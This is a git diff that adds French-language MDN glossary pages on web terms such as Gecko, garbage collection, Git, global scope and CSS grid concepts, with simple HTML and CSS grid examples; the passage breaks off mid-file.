Une fois Firefox OS démarré, tout ce qui est affiché à l'écran est produit par la couche Gaia (e.g., l'écran de verrouillage, l'écran d'accueil, les applications standards). Gaia est entièrement implémenté en {{glossary("HTML")}}, {{glossary("CSS")}}, et {{glossary("JavaScript")}} ; ses uniques interfaces vers le système d'exploitation sous-jacent se font via des {{glossary("API","APIs")}} Web, celles-ci étant implémentées par la couche {{glossary("Gecko")}}. Des applications tierces peuvent être installées aux côtés de Gaia.

+ +

En savoir plus

+ +

Référence technique

+ + diff --git a/files/fr/glossary/garbage_collection/index.html b/files/fr/glossary/garbage_collection/index.html new file mode 100644 index 0000000000..b859592ace --- /dev/null +++ b/files/fr/glossary/garbage_collection/index.html @@ -0,0 +1,25 @@ +--- +title: Ramasse-miettes +slug: Glossaire/Ramasse-miettes +tags: + - Glossaire + - codescripting +translation_of: Glossary/Garbage_collection +--- +

Ramasse-miettes est un terme utilisé en {{Glossary("Computer Programming","programmation informatique")}} pour décrire le processus de recherche et de suppression des {{Glossary("Object", "objets")}} qui ne sont plus {{Glossary("Object reference", "référencés")}} par d'autres objets. En d'autres termes, le ramasse-miettes est le processus de suppression de tous les objets qui ne sont plus utilisés par d'autres objets. Souvent abrégé "GC" (pour Garbage Collection en anglais),  le ramasse-miettes est un élément fondamental du système de la {{Glossary("Memory management","gestion de la mémoire")}} utilisé par {{Glossary("JavaScript")}}.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • Gestion de la mémoire sur Wikipédia (anglais)
    • +
  • {{interwiki("wikipedia", "Ramasse-miettes (informatique)")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/gecko/index.html b/files/fr/glossary/gecko/index.html new file mode 100644 index 0000000000..adad87a228 --- /dev/null +++ b/files/fr/glossary/gecko/index.html @@ -0,0 +1,34 @@ +--- +title: Gecko +slug: Glossaire/Gecko +tags: + - Firefox OS + - Gecko + - Glossaire + - Infrastructure + - Intro + - Mozilla +translation_of: Glossary/Gecko +--- +

Gecko est le moteur de rendu développé par le Projet Mozilla et utilisé dans beaucoup d'applications/appareils, dont {{glossary("Mozilla Firefox","Firefox")}} et {{glossary("Firefox OS")}}.

+ +

Les {{glossary("navigateur","navigateurs")}} Web ont besoin d'un logiciel appelé moteur de rendu pour interpréter le {{glossary("HTML")}}, les {{glossary("CSS")}}, {{glossary("JavaScript")}}, et les contenus embarqués (telles que les images) et tout dessiner sur votre écran. À côté de ça, Gecko garantit que les {{glossary("API","APIs")}} associées fonctionnent correctement sur tous les systèmes d'exploitation que Gecko supporte, et que les APIs appropriées ne sont exposées qu'aux cibles supportées concernées. Cela signifie que Gecko intègre, entre autres choses, pile réseau, couche graphique, moteur de rendu, une machine virtuelle JavaScript, et des couches de portabilité.

+ +

Comme toutes les applications Firefox OS sont des applications Web, Firefox OS utilise aussi Gecko comme moteur d'exécution pour les applications.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Gecko (moteur de rendu)", "Gecko")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +


+  

diff --git a/files/fr/glossary/general_header/index.html b/files/fr/glossary/general_header/index.html new file mode 100644 index 0000000000..2880101d4c --- /dev/null +++ b/files/fr/glossary/general_header/index.html @@ -0,0 +1,12 @@ +--- +title: En-tête général +slug: Glossaire/General_header +tags: + - En-têtes + - Glossaire + - Mécanismes web +translation_of: Glossary/General_header +--- +

Un en-tête général est un {{glossary('Header','en-tête HTTP')}} qui peut être utilisé à la fois pour, une requête ou une réponse, mais ne s'applique au contenu lui-même. Suivant le contexte dans lequel ils sont utilisés, les en-têtes généraux sont à la fois des {{glossary("Response header", "en-tête de réponse")}} ou des {{glossary("request header", "en-têtes de requête")}}. Toutefois, ils ne sont pas des {{glossary("entity header","en-têtes d'entité")}}.

+ +

Les en-têtes généraux les plus fréquents sont la {{HTTPHeader('Date')}}, {{HTTPheader("Cache-Control")}} ou {{HTTPHeader("Connection")}}.

diff --git a/files/fr/glossary/gif/index.html b/files/fr/glossary/gif/index.html new file mode 100644 index 0000000000..1a998607a8 --- /dev/null +++ b/files/fr/glossary/gif/index.html @@ -0,0 +1,23 @@ +--- +title: GIF +slug: Glossaire/gif +tags: + - Composition + - Glossaire +translation_of: Glossary/gif +--- +

GIF (Graphics Interchange Format) est un format d'image qui utilise une compression sans perte et peut servir pour des animations. Un GIF peut utiliser jusqu'à 8 bits par pixel avec un maximum de 256 couleurs parmi des nuances sur 24 bits.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Graphics Interchange Format","GIF")}} sur Wikipédia
    • +
+ +

 

+ +

 

+ +

 

diff --git a/files/fr/glossary/gij/index.html b/files/fr/glossary/gij/index.html new file mode 100644 index 0000000000..49333e052b --- /dev/null +++ b/files/fr/glossary/gij/index.html @@ -0,0 +1,12 @@ +--- +title: GIJ +slug: Glossaire/GIJ +tags: + - Automatisation + - CodingScripting + - Gaia + - Intégration(2) + - tests +translation_of: Glossary/GIJ +--- +

Tests d'intégration Gaia. Basés sur Marionette et JavaScript. Voir GIJ.

diff --git a/files/fr/glossary/git/index.html b/files/fr/glossary/git/index.html new file mode 100644 index 0000000000..c193332389 --- /dev/null +++ b/files/fr/glossary/git/index.html @@ -0,0 +1,19 @@ +--- +title: GIT +slug: Glossaire/GIT +tags: + - Espace collaboratif + - Glossaire + - git +translation_of: Glossary/Git +--- +

Git est un logiciel libre et distribué de gestion de source code (ou{{Glossary("SCM", "SCM", 1)}}, Source Code Management). Cela permet de faciliter la collaboration sur une base de code avec des équipes de développement séparées. Ce qui le distingue des précédents SCM est sa capacité à faire des opérations basiques (créer une branche, faire un commit etc.) sur votre machine de développement locale sans avoir à changer le dépôt master ou avoir les droits d'écriture dessus.

+ +

Pour en savoir plus

+ +

Connaissances générales

+ + diff --git a/files/fr/glossary/global_object/index.html b/files/fr/glossary/global_object/index.html new file mode 100644 index 0000000000..24ab7b529d --- /dev/null +++ b/files/fr/glossary/global_object/index.html @@ -0,0 +1,18 @@ +--- +title: Objet global +slug: Glossaire/Objet_global +tags: + - Encodage + - Glossaire + - Objets +translation_of: Glossary/Global_object +--- +

Un objet global est un {{glossary("Object","objet")}} qui existe toujours dans la {{glossary("Global scope","portée globale")}}.

+ +

En JavaScript, un objet global est toujours défini. Dans un navigateur web, quand les scripts créent des variables globales, elles sont créées comme membres de l'objet global (dans {{Glossary("Node.js")}} ce n'est pas le cas). L'objet global {{Glossary("Interface")}} dépend du contexte d'exécution dans lequel le script s'exécute. Par exemple :

+ +
    +
  • Dans un navigateur web, le code que le script n'a pas spécifiquement lancé comme tâche d'arrière-plan a pour objet global {{domxref("Window")}}. C'est la grande majorité du code JavaScript sur le Web.
    • +
  • L'exécution du code dans un {{domxref("Worker")}} a pour objet global {{domxref("WorkerGlobalScope")}} .
    • +
  • Les scripts exécutés sous {{Glossary("Node.js")}} ont un objet appelé global pour objet global.
    • +
diff --git a/files/fr/glossary/global_scope/index.html b/files/fr/glossary/global_scope/index.html new file mode 100644 index 0000000000..bf7f27399d --- /dev/null +++ b/files/fr/glossary/global_scope/index.html @@ -0,0 +1,22 @@ +--- +title: Portée globale +slug: Glossaire/Portée_globale +tags: + - Encodage + - Glossaire +translation_of: Glossary/Global_scope +--- +

Dans un environnement de programmation, la portée globale ( global scope ) est la {{glossary("Scope","portée")}} qui est visible dans toutes les autres portées.

+ +

Dans le JavaScript côté client, la portée globale est généralement la page web à l'intérieur de laquelle tout le code est en cours d'exécution.

+ +

En apprendre plus

+ +

Apprendre sur ce sujet

+ + + +

 

diff --git a/files/fr/glossary/global_variable/index.html b/files/fr/glossary/global_variable/index.html new file mode 100644 index 0000000000..a2f2a03048 --- /dev/null +++ b/files/fr/glossary/global_variable/index.html @@ -0,0 +1,19 @@ +--- +title: Variable globale +slug: Glossaire/Variable_globale +tags: + - Encodage + - Glossaire +translation_of: Glossary/Global_variable +--- +

Une variable globale est une {{glossary("Variable")}} déclarée dans une {{glossary("Global scope","portée globale")}} en d'autres termes, une variable visible depuis toutes les autres portées.

+ +

En JavaScript, c'est une {{glossary("Property","propriété")}} de l'{{glossary("Global object","objet global")}}.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Variable globale")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/glyph/index.html b/files/fr/glossary/glyph/index.html new file mode 100644 index 0000000000..e3e03a119a --- /dev/null +++ b/files/fr/glossary/glyph/index.html @@ -0,0 +1,21 @@ +--- +title: Glyphe +slug: Glossaire/Glyphe +tags: + - Glossaire + - SVG + - Typographie +translation_of: Glossary/Glyph +--- +

Un glyphe est un terme utilisé en typographie pour désigner la représentation visuelle d’un (ou plusieurs) {{Glossary("Character", "caractère")}}.

+ +

Les polices utilisées par un site web contiennent différents ensembles de glyphes qui représentent les caractères de la police.

+ +

En apprendre davantage

+ +

Culture générale

+ + diff --git a/files/fr/glossary/gonk/index.html b/files/fr/glossary/gonk/index.html new file mode 100644 index 0000000000..93c260f29c --- /dev/null +++ b/files/fr/glossary/gonk/index.html @@ -0,0 +1,21 @@ +--- +title: Gonk +slug: Glossaire/Gonk +tags: + - Boot2Gecko + - Firefox OS + - Glossaire + - Gonk + - Infrastructure + - Introduction +translation_of: Glossary/Gonk +--- +

Gonk est le système d'exploitation bas-niveau de {{glossary("Firefox OS")}} et consiste en un noyau Linux (basé sur Android Open Source Project (AOSP)) et une couche d'abstraction matérielle en espace utilisateur (hardware abstraction layer, ou HAL).

+ +

Le noyau et plusieurs des bibliothèques en espace utilisateur sont des projets open source usuels : Linux, libusb, bluez, et ainsi de suite. D'autres éléments de la HAL sont communs avec AOSP : GPS, caméra et autres. Gonk peut être considéré comme une distribution Linux très simple.

+ +

Gonk est une cible de {{glossary("Gecko")}} (tout comme Gecko a été porté sur OS X, Windows et Android). Comme Firefox OS dispose d'un contrôle total sur Gonk, il est possible d'offrir à Gecko des interfaces qui ne sont pas accessibles sur d'autres systèmes d'exploitation, comme par exemple toute la pile de téléphonie et l'affichage frame buffer.

+ +

Pour en savoir plus

+ +

Page sur Gonk dans la zone Firefox OS

diff --git a/files/fr/glossary/google_chrome/index.html b/files/fr/glossary/google_chrome/index.html new file mode 100644 index 0000000000..11f0f1ae99 --- /dev/null +++ b/files/fr/glossary/google_chrome/index.html @@ -0,0 +1,41 @@ +--- +title: Google Chrome +slug: Glossaire/Google_Chrome +tags: + - Chrome canary + - Chrome stable + - Chromium + - Glossaire + - Navigateur + - WebMechanics + - google chrome +translation_of: Glossary/Google_Chrome +--- +

Google Chrome est un {{glossary("navigateur")}} Web gratuit développé par Google. Il est basé sur le projet open source Chromium. Certaines différences clés sont décrites sur le wiki de Chromium. En ce qui concerne le moteur rendu, les deux navigateurs utilisent un fork de {{glossary("WebKit")}} appelé {{glossary("Blink")}}. Remarquez que la version iOS de Chrome utilise le moteur de rendu de cette plate-forme et non Blink.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Google Chrome", "Google Chrome")}} sur Wikipédia
    • +
+ +

Pour les utilisateurs de Chrome

+ +

Utilisez un des ces liens si vous êtes un utilisateur de tous les jours.

+ + + +

Pour les développeurs Web

+ +

Si vous souhaitez essayer les dernières fonctionnalités de Chrome, installez une des versions pré-stables. Google en fait des mises à jour fréquemment et les a conçu pour qu'elles s'installent en parallèle avec la version stable. Rendez-vous sur le Blog Chrome Releases pour découvrir les nouveautés.

+ + diff --git a/files/fr/glossary/gpl/index.html b/files/fr/glossary/gpl/index.html new file mode 100644 index 0000000000..d5e4a20a23 --- /dev/null +++ b/files/fr/glossary/gpl/index.html @@ -0,0 +1,21 @@ +--- +title: GPL +slug: Glossaire/GPL +tags: + - GPL + - Glossaire + - Licence + - OpenPractices + - Partage + - Remixing +translation_of: Glossary/GPL +--- +

La (GNU) GPL (General Public License) est une licence de logiciel libre {{Glossary("copyleft")}} publiée par la Free Software Foundation. Les utilisateurs d'un programme sous licence GPL se voient attribuer les libertés de l'utiliser, de lire son code source, de le modifier et de redistribuer les modifications qu'ils ont réalisées, à condition de redistribuer le programme (modifié ou non) sous la même licence.

+ +

Pour en savoir plus

+ + diff --git a/files/fr/glossary/gpu/index.html b/files/fr/glossary/gpu/index.html new file mode 100644 index 0000000000..1a1a4a41dc --- /dev/null +++ b/files/fr/glossary/gpu/index.html @@ -0,0 +1,9 @@ +--- +title: GPU +slug: Glossaire/GPU +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/GPU +--- +

Le GPU (Graphics Processing Unit) est un composant de l'ordinateur similaire au CPU (Central Processing Unit) mais qui est spécialisé dans l'affichage de graphismes (à la fois 2D et 3D) sur votre moniteur.

diff --git a/files/fr/glossary/graceful_degradation/index.html b/files/fr/glossary/graceful_degradation/index.html new file mode 100644 index 0000000000..dd6727c47d --- /dev/null +++ b/files/fr/glossary/graceful_degradation/index.html @@ -0,0 +1,21 @@ +--- +title: Dégradation gracieuse +slug: Glossaire/Graceful_degradation +tags: + - Conception + - Glossaire +translation_of: Glossary/Graceful_degradation +--- +

La dégradation gracieuse est une philosophie de conception centrée sur la création d'un site / application web moderne qui fonctionnera dans les navigateurs les plus récents, mais qui sera remplacé par un contenu et une fonctionnalité essentiels dans les anciens navigateurs, même moins performant.

+ +

Les Polyfills peuvent être utilisés pour intégrer des fonctionnalités manquantes avec JavaScript, mais des alternatives acceptables à des fonctionnalités telles que le style et la mise en page doivent être fournies si possible, par exemple en utilisant la cascade CSS ou le comportement de repli HTML. Quelques bons exemples peuvent être trouvés dans Traitement des problèmes HTML et CSS courants.

+ +

C'est une technique utile qui permet aux développeurs Web de se concentrer sur le développement des meilleurs sites web possibles tout en compensant les problèmes de ces sites auxquels accèdent plusieurs agents utilisateurs inconnus. L'{{Glossary("Progressive enhancement","Amélioration progressive")}} est apparentée mais différente — la dégradation gracieuse est souvent considérée comme allant dans la direction opposée à l'amélioration progressive. En réalité, les deux approches sont valides et peuvent souvent se compléter l'une l'autre.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Graceful degradation")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/grid/index.html b/files/fr/glossary/grid/index.html new file mode 100644 index 0000000000..a5e626eff7 --- /dev/null +++ b/files/fr/glossary/grid/index.html @@ -0,0 +1,75 @@ +--- +title: Grille +slug: Glossaire/Grid +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid +--- +

Une grille CSS est définie en utilisant la valeur grid de la propriété display ; vous pouvez définir les colonnes et les lignes de votre grille en utilisant les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}.

+ +

La grille que vous définissez avec ces propriétés est décrite comme une grille explicite.

+ +

Si vous placez du contenu en dehors de cette grille explicite, ou si vous comptez sur le placement automatique, l'algorithme de grille doit créer une {{glossary("grid tracks", "piste")}} (track) de ligne ou de colonne supplémentaire pour contenir {{glossary("grid item", "éléments de grille")}} (grid items), des pistes supplémentaires seront alors créées dans la grille implicite. La grille implicite est la grille créée automatiquement en raison de l'ajout de contenu en dehors des pistes définies.

+ +

Dans l'exemple ci-dessous, nous avons créé une grille explicite de 3 colonnes et 2 lignes. La troisième ligne de la grille est une piste de ligne de grille implicite, formée en raison des 2 éléments en plus, par rapport aux 6 qui remplissent les pistes explicites.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+  grid-template-rows: 100px 100px;
+}
+
+ +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+   <div>Six</div>
+   <div>Seven</div>
+   <div>Eight</div>
+</div>
+
+ +

{{ EmbedLiveSample('example', '500', '330') }}

+ +

En apprendre plus

+ +

Références de la propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid")}}
    • +
  • {{cssxref("grid-template")}}
    • +
+ +

En lire plus

+ + +
diff --git a/files/fr/glossary/grid_areas/index.html b/files/fr/glossary/grid_areas/index.html new file mode 100644 index 0000000000..9f736eca86 --- /dev/null +++ b/files/fr/glossary/grid_areas/index.html @@ -0,0 +1,82 @@ +--- +title: Zone de grille +slug: Glossaire/Zones_de_grille +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Areas +--- +

Une zone de grille est une {{glossary("grid cell","cellule de grille")}}  ou plus, qui constitue une zone rectangulaire sur la grille. Les zones de grille sont créées lorsque vous placez un élément en utilisant le  placement de la ligne de base ou lors de la définition des zones par l'utilisation de zones de grille nommées.

+ +

Image showing a highlighted grid area

+ +

Les zones de grille doivent être de nature rectangulaire ; il n'est pas possible de créer, par exemple, une zone de grille en forme de T ou de L.

+ +

Dans l'exemple ci-dessous, nous avons un conteneur de grille avec deux éléments de grille nommés à l'aide de la propriété {{cssxref("grid-area")}}  et mis sur la grille en utilisant {{cssxref("grid-template-areas")}}. Cela crée deux zones de grille, l'une couvrant quatre cellules de la grille, et deux autres d'une seule cellule.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  grid-template-rows: 100px 100px;
+  grid-template-areas:
+    "a a b"
+    "a a b";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+
+ +
<div class="wrapper">
+   <div class="item1">Item</div>
+   <div class="item2">Item</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_1', '300', '280') }}

+
+ +

En apprendre plus

+ +

Références de propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
  • {{cssxref("grid-template-areas")}}
    • +
  • {{cssxref("grid-area")}}
    • +
+ +

En lire plus

+ + diff --git a/files/fr/glossary/grid_axis/index.html b/files/fr/glossary/grid_axis/index.html new file mode 100644 index 0000000000..0eba3c87b3 --- /dev/null +++ b/files/fr/glossary/grid_axis/index.html @@ -0,0 +1,32 @@ +--- +title: Axe de grille +slug: Glossaire/Axe_de_grille +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Axis +--- +

La grille CSS est une méthode de mise en page bidimensionnelle permettant une présentation du contenu en lignes et colonnes. Par conséquent, dans toute grille, nous avons deux axes. L'axe du "bloc" ou de la colonne et l'axe "en ligne" ou de la ligne.

+ +

C'est sur ces axes que les items peuvent être alignés et justifiés en utilisant les propriétés définies dans les spécifications de l'alignement des boîtes.

+ +

En CSS l'axe des colonnes (ou des blocs) est l'axe utilisé lors de la disposition des blocs de texte . Si vous avez 2 paragraphes et travaillez de droite à gauche, du haut vers le bas, ils s'alignent les uns au-dessus des autres, sur l'axe du bloc.

+ +

Diagram showing the block axis in CSS Grid Layout.

+ +

L'axe de la ligne (ou en ligne) parcourt l'axe des blocs et représente la direction dans laquelle le texte est déployé. Ce sont nos lignes dans la mise en page des grilles CSS.

+ +

Diagram showing the inline axis in CSS Grid Layout.

+ +

La direction physique de ces axes peut changer en fonction du mode d'écriture du document.

+ +

En apprendre plus

+ +

En lire plus

+ + diff --git a/files/fr/glossary/grid_cell/index.html b/files/fr/glossary/grid_cell/index.html new file mode 100644 index 0000000000..e484a4967a --- /dev/null +++ b/files/fr/glossary/grid_cell/index.html @@ -0,0 +1,73 @@ +--- +title: Cellule de grille +slug: Glossaire/Cellule_de_grille +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Cell +--- +

Dans une Grille CSS, une cellule de grille est la plus petite unité de la grille CSS. Elle est un espace entre 4 intersections {{glossary("grid lines","lignes de grille")}} et conceptuellement assimilable à une cellule de tableau.

+ +

Diagram showing an individual cell on the grid.

+ +

Si vous ne placez pas d'éléments à l'aide de l'une des méthodes de placement de grille, les enfants directs du conteneur de grille seront placés un dans chaque cellule individuelle par l'algorithme de placement automatique. Les {{glossary("Grid Tracks", "pistes")}}  de ligne ou colonne supplémentaire seront créées par la création des cellules nécessaires pour contenir tous les éléments.

+ +

Dans l'exemple, nous avons créé une grille de trois colonnes. Les cinq éléments sont placés dans des cellules de la grille le long d'une rangée initiale de trois cellules de la grille, puis par l'ajout d'une nouvelle ligne pour les deux autres.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  grid-auto-rows: 100px;
+}
+
+ +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_1', '300', '280') }}

+
+ +

En apprendre plus

+ +

Références de propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
+ +

En lire plus

+ + diff --git a/files/fr/glossary/grid_column/index.html b/files/fr/glossary/grid_column/index.html new file mode 100644 index 0000000000..c6c5b2f74c --- /dev/null +++ b/files/fr/glossary/grid_column/index.html @@ -0,0 +1,31 @@ +--- +title: Colonne de grille +slug: Glossaire/Colonne_de_grille +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Column +--- +

Une colonne de grille est une piste verticale dans une grille CSS, et est l'espace entre deux lignes de grille verticales. Elle est définie par la propriété {{cssxref("grid-template-columns")}} ou les propriétés raccourcies {{cssxref("grid")}} ou {{cssxref("grid-template")}}.

+ +

De plus, des colonnes peuvent être créées dans la grille implicite lorsque les éléments sont placés en dehors des colonnes créées dans la grille explicite. Ces colonnes seront automatiquement redimensionnées ou peuvent avoir une taille spécifiée avec la propriété {{cssxref("grid-auto-columns")}}.

+ +

Lorsque vous travaillez avec l'alignement dans les grilles CSS, l'axe vers le bas duquel les colonnes s'exécutent est connu comme l'axe de colonne (ou bloc).

+ +

En apprendre plus

+ +

Références de propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
  • {{cssxref("grid")}}
    • +
  • {{cssxref("grid-template")}}
    • +
+ +

En lire plus

+ + diff --git a/files/fr/glossary/grid_container/index.html b/files/fr/glossary/grid_container/index.html new file mode 100644 index 0000000000..91f62ba355 --- /dev/null +++ b/files/fr/glossary/grid_container/index.html @@ -0,0 +1,37 @@ +--- +title: Conteneur de grille +slug: Glossaire/grid_container +tags: + - CSS + - Glossaire + - Grille +translation_of: Glossary/Grid_Container +--- +

 

+ +

Utiliser la valeur grid ou inline-grid sur un élément le transforme en un conteneur de grille utilisant CSS Grid Layout, et les enfants directs de celui-ci deviennent un élément de cette grille.

+ +

Quand un élément devient un conteneur de grille il établit un contexte de formatage de grille (grid formatting context). Les enfants directs peuvent dorénavent se placer sur une grille explicite définie utilisant  {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}, ou sur une grille implicite créée quand un élément est placé en dehors de la grille explicite.

+ +

 

+ +

En apprendre plus

+ +

Référence de la propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid")}}
    • +
  • {{cssxref("grid-template")}}
    • +
+ +

En lire plus

+ + + +

 

diff --git a/files/fr/glossary/grid_lines/index.html b/files/fr/glossary/grid_lines/index.html new file mode 100644 index 0000000000..bc6b012483 --- /dev/null +++ b/files/fr/glossary/grid_lines/index.html @@ -0,0 +1,179 @@ +--- +title: Ligne de grille (line) +slug: Glossaire/Lignes_de_grille_(lines) +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Lines +--- +

Les lignes de grille sont créées avec la définition  des {{glossary("Grid Tracks", "pistes")}} (tracks) dans la grille explicite pour une grille CSS. Dans l'exemple suivant, est présentée une grille qui a 3 pistes de colonnes et 2 pistes de lignes. Cela nous donne 4 lignes de colonnes (column lines) et 3 lignes de lignes (row lines).

+ +
+ + +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px 100px;
+}
+
+ +

{{ EmbedLiveSample('example_1', '500', '250') }}

+ +

Les lignes peuvent être adressées en utilisant leur numéro de ligne. Dans une langue de gauche à droite telle que l'anglais, la ligne de colonne 1 sera sur la gauche de la grille, la ligne de ligne 1 en haut. Les chiffres des lignes respectent le mode d'écriture du document et ainsi, dans une langue écrite de droite à gauche par exemple, la ligne de colonne 1 sera sur la droite de la grille. L'image ci-dessous montre les numéros de ligne de la grille, en supposant que la langue est écrite de gauche à droite.

+ +

Diagram showing the grid with lines numbered.

+
+ +

Les lignes sont également créées dans la grille implicite lorsque des pistes implicites sont créées pour contenir les éléments placés en dehors de la grille explicite, mais ces lignes ne peuvent pas être adressées avec un nombre.

+ +

Placement des éléments sur la grille par numéro de ligne

+ +

Après avoir créé une grille, vous pouvez placer des éléments sur la grille par numéro de ligne. Dans l'exemple suivant, l'élément est positionné de la ligne de colonne 1 à la ligne de colonne 3 et de la ligne de ligne 1 à la ligne de ligne 3.

+ +
+ + +
<div class="wrapper">
+   <div class="item">Item</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px 100px;
+}
+.item {
+  grid-column-start: 1;
+  grid-column-end: 3;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+ +

{{ EmbedLiveSample('example_2', '500', '250') }}

+
+ +

Nommage des lignes

+ +

Les lignes créées dans la grille explicite peuvent être nommées, en ajoutant le nom entre crochets avant ou après les informations de dimensionnement de la piste. Lorsque vous placez un objet, vous pouvez utiliser ces noms à la place du numéro de ligne, comme illustré ci-dessous.

+ +
+ + +
<div class="wrapper">
+   <div class="item">Item</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [col1-start] 1fr [col2-start] 1fr [col3-start] 1fr [cols-end];
+  grid-template-rows: [row1-start] 100px [row2-start] 100px [rows-end];
+}
+.item {
+  grid-column-start: col1-start;
+  grid-column-end: col3-start;
+  grid-row-start: row1-start;
+  grid-row-end: rows-end;
+}
+
+ +

{{ EmbedLiveSample('example_3', '500', '250') }}

+
+ +

En apprendre plus

+ +

Références de propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-column-start")}}
    • +
  • {{cssxref("grid-column-end")}}
    • +
  • {{cssxref("grid-column")}}
    • +
  • {{cssxref("grid-row-start")}}
    • +
  • {{cssxref("grid-row-end")}}
    • +
  • {{cssxref("grid-row")}}
    • +
+ +

Further reading

+ + diff --git a/files/fr/glossary/grid_rows/index.html b/files/fr/glossary/grid_rows/index.html new file mode 100644 index 0000000000..1cfc2c9d23 --- /dev/null +++ b/files/fr/glossary/grid_rows/index.html @@ -0,0 +1,31 @@ +--- +title: Ligne de grille (Row) +slug: Glossaire/Lignes_de_grille_(Row) +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Rows +--- +

Une ligne de grille (row) est une piste horizontale dans une grille CSS, qui se situe dans l'espace entre deux lignes (lines) horizontales de lignes (rows). Elle est définie par la propriété {{cssxref("grid-template-rows")}} ou les propriétés raccourcies {{cssxref("grid")}} ou {{cssxref("grid-template")}}.

+ +

De plus, des lignes peuvent être créées dans la grille implicite lorsque les éléments sont placés en dehors des lignes créées dans la grille explicite. Ces lignes seront automatiquement dimensionnées par défaut, ou peuvent avoir une taille spécifiée avec la propriété {{cssxref("grid-auto-rows")}}.

+ +

Lorsque vous travaillez avec l'alignement dans une grille, l'axe le long duquel les lignes sont exécutées est appelé l'axe de ligne ou en ligne.

+ +

En apprendre plus

+ +

Références de propriété

+ +
    +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid")}}
    • +
  • {{cssxref("grid-template")}}
    • +
+ +

En lire plus

+ + diff --git a/files/fr/glossary/grid_tracks/index.html b/files/fr/glossary/grid_tracks/index.html new file mode 100644 index 0000000000..b9c06af74b --- /dev/null +++ b/files/fr/glossary/grid_tracks/index.html @@ -0,0 +1,78 @@ +--- +title: Piste de grille +slug: Glossaire/Pistes_de_grille +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Grid_Tracks +--- +

Une piste de grille est l'espace entre deux {{glossary("grid lines","lignes de grille (lines)")}}. Elle est définie dans la grille explicite avec les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}} ou les propriétés raccourcies {{cssxref("grid")}} ou {{cssxref("grid-template")}}. Les pistes sont aussi créées dans une grille implicite en positionnant un élément de grille en dehors des pistes créées dans la grille explicite.

+ +

L'image ci-dessous montre la première piste de ligne de la grille.

+ +

Diagram showing a grid track.

+ +

Taille de piste sur une grille explicite

+ +

Lors de la définition de pistes de grille avec {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}, vous pouvez utiliser n'importe quelle unité de longueur, ainsi que l'unité flexible, qui indique une partie de l'espace disponible dans le conteneur de la grille. L'exemple ci-dessous montre une grille avec trois pistes de colonnes, l'une de 200 pixels, la seconde de 1fr, la troisième de 3fr. Une fois que les 200 pixels ont été soustraits de l'espace disponible dans le conteneur de la grille, l'espace restant est divisé en 4. Une partie est donnée à la colonne 2, 3 parties à la colonne 3.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: 200px 1fr 3fr;
+}
+
+ +
<div class="wrapper">
